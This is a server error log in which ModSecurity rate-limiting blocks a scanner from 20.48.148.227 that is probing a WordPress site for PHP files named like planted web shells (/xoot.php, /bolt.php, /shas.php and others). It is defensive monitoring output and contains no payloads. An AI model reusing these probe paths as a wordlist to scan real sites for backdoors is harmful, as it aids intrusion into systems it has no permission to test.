[Fri Feb 27 02:50:12.443822 2026] [:error] [pid 18818:tid 18894] [client 20.48.148.227:1936] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aaCV5BhPgqk2SeS_W83VJQAAAAo"]
[Fri Feb 27 02:50:12.861858 2026] [:error] [pid 19020:tid 19037] [client 20.48.148.227:2038] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaCV5LN3kp7wL6QzPnVOlQAAAU8"]
[Fri Feb 27 02:50:13.279610 2026] [:error] [pid 20059:tid 20126] [client 20.48.148.227:2029] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaCV5ZZBS5wIa_NsqshKkwAAAdg"]
[Fri Feb 27 02:50:13.717719 2026] [:error] [pid 20059:tid 20121] [client 20.48.148.227:1983] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaCV5ZZBS5wIa_NsqshKlAAAAdM"]
[Fri Feb 27 02:50:14.211075 2026] [:error] [pid 20059:tid 20117] [client 20.48.148.227:1925] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aaCV5pZBS5wIa_NsqshKlwAAAc8"]
[Fri Feb 27 02:50:14.694640 2026] [:error] [pid 19020:tid 19040] [client 20.48.148.227:2021] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aaCV5rN3kp7wL6QzPnVOlwAAAVI"]
[Fri Feb 27 02:50:15.160922 2026] [:error] [pid 18843:tid 18940] [client 20.48.148.227:1953] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aaCV5yuD2bhSYSowPs0b3QAAAQA"]
[Fri Feb 27 02:50:15.685785 2026] [:error] [pid 19020:tid 19046] [client 20.48.148.227:1973] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aaCV57N3kp7wL6QzPnVOmgAAAVg"]
[Fri Feb 27 02:50:16.209724 2026] [:error] [pid 19020:tid 19036] [client 20.48.148.227:1873] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aaCV6LN3kp7wL6QzPnVOnQAAAU4"]
[Fri Feb 27 02:50:16.686917 2026] [:error] [pid 19020:tid 19043] [client 20.48.148.227:1938] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaCV6LN3kp7wL6QzPnVOngAAAVU"]
[Fri Feb 27 02:50:17.176769 2026] [:error] [pid 18843:tid 18958] [client 20.48.148.227:1934] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaCV6SuD2bhSYSowPs0b5AAAARI"]
[Fri Feb 27 02:50:17.645097 2026] [:error] [pid 19020:tid 19029] [client 20.48.148.227:2012] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaCV6bN3kp7wL6QzPnVOoAAAAUc"]
[Fri Feb 27 02:50:18.214092 2026] [:error] [pid 19020:tid 19044] [client 20.48.148.227:2046] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aaCV6rN3kp7wL6QzPnVOoQAAAVY"]
[Fri Feb 27 02:50:18.668771 2026] [:error] [pid 19020:tid 19035] [client 20.48.148.227:1948] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaCV6rN3kp7wL6QzPnVOogAAAU0"]
[Fri Feb 27 02:50:19.115471 2026] [:error] [pid 18818:tid 18884] [client 20.48.148.227:2039] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaCV6xhPgqk2SeS_W83VJgAAAAA"]
[Fri Feb 27 02:50:19.554166 2026] [:error] [pid 18818:tid 18896] [client 20.48.148.227:2037] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaCV6xhPgqk2SeS_W83VKAAAAAw"]
[Fri Feb 27 02:50:20.057154 2026] [:error] [pid 19020:tid 19033] [client 20.48.148.227:1959] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aaCV7LN3kp7wL6QzPnVOpgAAAUs"]
[Fri Feb 27 02:50:20.497490 2026] [:error] [pid 19020:tid 19046] [client 20.48.148.227:1922] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaCV7LN3kp7wL6QzPnVOpwAAAVg"]
[Fri Feb 27 02:50:20.968519 2026] [:error] [pid 19020:tid 19034] [client 20.48.148.227:1921] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaCV7LN3kp7wL6QzPnVOqAAAAUw"]
[Fri Feb 27 02:50:21.404260 2026] [:error] [pid 18831:tid 18920] [client 20.48.148.227:1990] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaCV7f5KHTHUIuWRG2bf_AAAAEc"]
[Fri Feb 27 02:50:21.862546 2026] [:error] [pid 19020:tid 19043] [client 20.48.148.227:2030] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aaCV7bN3kp7wL6QzPnVOqwAAAVU"]
[Fri Feb 27 02:50:22.386201 2026] [:error] [pid 18818:tid 18897] [client 20.48.148.227:1964] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaCV7hhPgqk2SeS_W83VKgAAAA0"]
[Fri Feb 27 02:50:22.954067 2026] [:error] [pid 20059:tid 20116] [client 20.48.148.227:2040] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaCV7pZBS5wIa_NsqshKmQAAAc4"]
[Fri Feb 27 02:50:23.482409 2026] [:error] [pid 18831:tid 18921] [client 20.48.148.227:1993] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaCV7_5KHTHUIuWRG2bf_gAAAEg"]
[Fri Feb 27 02:50:23.972877 2026] [:error] [pid 18843:tid 18959] [client 20.48.148.227:1987] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaCV7yuD2bhSYSowPs0b5gAAARM"]
[Fri Feb 27 02:50:24.597572 2026] [:error] [pid 18831:tid 18928] [client 20.48.148.227:1924] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aaCV8P5KHTHUIuWRG2bgAAAAAE8"]
[Fri Feb 27 02:50:25.082645 2026] [:error] [pid 18843:tid 18964] [client 20.48.148.227:1867] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aaCV8SuD2bhSYSowPs0b5wAAARg"]
[Fri Feb 27 02:50:25.511367 2026] [:error] [pid 18843:tid 18948] [client 20.48.148.227:2018] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aaCV8SuD2bhSYSowPs0b6QAAAQg"]
[Fri Feb 27 02:50:25.938776 2026] [:error] [pid 18831:tid 18933] [client 20.48.148.227:2036] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aaCV8f5KHTHUIuWRG2bgAQAAAFQ"]
[Fri Feb 27 02:50:26.363900 2026] [:error] [pid 19020:tid 19040] [client 20.48.148.227:1963] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaCV8rN3kp7wL6QzPnVOsgAAAVI"]
[Fri Feb 27 02:50:26.784217 2026] [:error] [pid 18843:tid 18945] [client 20.48.148.227:2013] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaCV8iuD2bhSYSowPs0b6wAAAQU"]
[Fri Feb 27 02:50:27.194432 2026] [:error] [pid 18843:tid 18947] [client 20.48.148.227:1869] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaCV8yuD2bhSYSowPs0b7AAAAQc"]
[Fri Feb 27 02:50:27.618944 2026] [:error] [pid 18843:tid 18940] [client 20.48.148.227:1949] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aaCV8yuD2bhSYSowPs0b7QAAAQA"]
[Fri Feb 27 02:50:28.063419 2026] [:error] [pid 20059:tid 20105] [client 20.48.148.227:1937] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aaCV9JZBS5wIa_NsqshKqAAAAcM"]
[Fri Feb 27 02:50:28.506470 2026] [:error] [pid 20059:tid 20110] [client 20.48.148.227:1940] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aaCV9JZBS5wIa_NsqshKqQAAAcg"]
[Fri Feb 27 02:50:28.943695 2026] [:error] [pid 20059:tid 20107] [client 20.48.148.227:1927] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aaCV9JZBS5wIa_NsqshKqgAAAcU"]
[Fri Feb 27 02:50:29.365951 2026] [:error] [pid 20059:tid 20116] [client 20.48.148.227:1984] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aaCV9ZZBS5wIa_NsqshKrQAAAc4"]
[Fri Feb 27 02:50:29.813027 2026] [:error] [pid 20059:tid 20125] [client 20.48.148.227:1998] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aaCV9ZZBS5wIa_NsqshKsgAAAdc"]
[Fri Feb 27 02:50:30.255918 2026] [:error] [pid 20059:tid 20122] [client 20.48.148.227:1958] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aaCV9pZBS5wIa_NsqshKtgAAAdQ"]
[Fri Feb 27 02:50:30.686897 2026] [:error] [pid 18831:tid 18929] [client 20.48.148.227:1856] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aaCV9v5KHTHUIuWRG2bgAgAAAFA"]
[Fri Feb 27 02:50:31.143510 2026] [:error] [pid 20059:tid 20123] [client 20.48.148.227:1978] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aaCV95ZBS5wIa_NsqshKvgAAAdU"]
[Fri Feb 27 02:50:31.568980 2026] [:error] [pid 18831:tid 18926] [client 20.48.148.227:2007] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aaCV9_5KHTHUIuWRG2bgAwAAAE0"]
[Fri Feb 27 02:50:31.980311 2026] [:error] [pid 19020:tid 19031] [client 20.48.148.227:1977] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aaCV97N3kp7wL6QzPnVOtAAAAUk"]
[Fri Feb 27 02:50:32.426081 2026] [:error] [pid 19020:tid 19036] [client 20.48.148.227:2025] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aaCV-LN3kp7wL6QzPnVOtQAAAU4"]
[Fri Feb 27 02:50:32.897439 2026] [:error] [pid 19020:tid 19024] [client 20.48.148.227:1991] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aaCV-LN3kp7wL6QzPnVOuQAAAUI"]
[Fri Feb 27 02:50:33.375369 2026] [:error] [pid 19020:tid 19038] [client 20.48.148.227:1935] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaCV-bN3kp7wL6QzPnVOugAAAVA"]
[Fri Feb 27 02:50:33.816324 2026] [:error] [pid 18843:tid 18958] [client 20.48.148.227:1992] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaCV-SuD2bhSYSowPs0b8QAAARI"]
[Fri Feb 27 02:50:34.242200 2026] [:error] [pid 20059:tid 20102] [client 20.48.148.227:1890] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaCV-pZBS5wIa_NsqshKwgAAAcA"]
[Fri Feb 27 02:50:34.671489 2026] [:error] [pid 18831:tid 18927] [client 20.48.148.227:1916] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aaCV-v5KHTHUIuWRG2bgBAAAAE4"]
[Fri Feb 27 02:50:35.111729 2026] [:error] [pid 18831:tid 18923] [client 20.48.148.227:1980] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaCV-_5KHTHUIuWRG2bgBwAAAEo"]
[Fri Feb 27 02:50:35.528978 2026] [:error] [pid 18831:tid 18934] [client 20.48.148.227:2010] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaCV-_5KHTHUIuWRG2bgCQAAAFU"]
[Fri Feb 27 02:50:35.950461 2026] [:error] [pid 18831:tid 18916] [client 20.48.148.227:1923] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaCV-_5KHTHUIuWRG2bgCgAAAEM"]
[Fri Feb 27 02:50:36.396326 2026] [:error] [pid 18843:tid 18962] [client 20.48.148.227:2028] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaCV_CuD2bhSYSowPs0b9AAAARY"]
[Fri Feb 27 02:50:36.815705 2026] [:error] [pid 19020:tid 19028] [client 20.48.148.227:2047] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aaCV_LN3kp7wL6QzPnVOvQAAAUY"]
[Fri Feb 27 02:50:37.234545 2026] [:error] [pid 20059:tid 20118] [client 20.48.148.227:1864] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aaCV_ZZBS5wIa_NsqshKxgAAAdA"]
[Fri Feb 27 02:50:37.656848 2026] [:error] [pid 19020:tid 19030] [client 20.48.148.227:2045] [client 20.48.148.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aaCV_bN3kp7wL6QzPnVOvgAAAUg"]
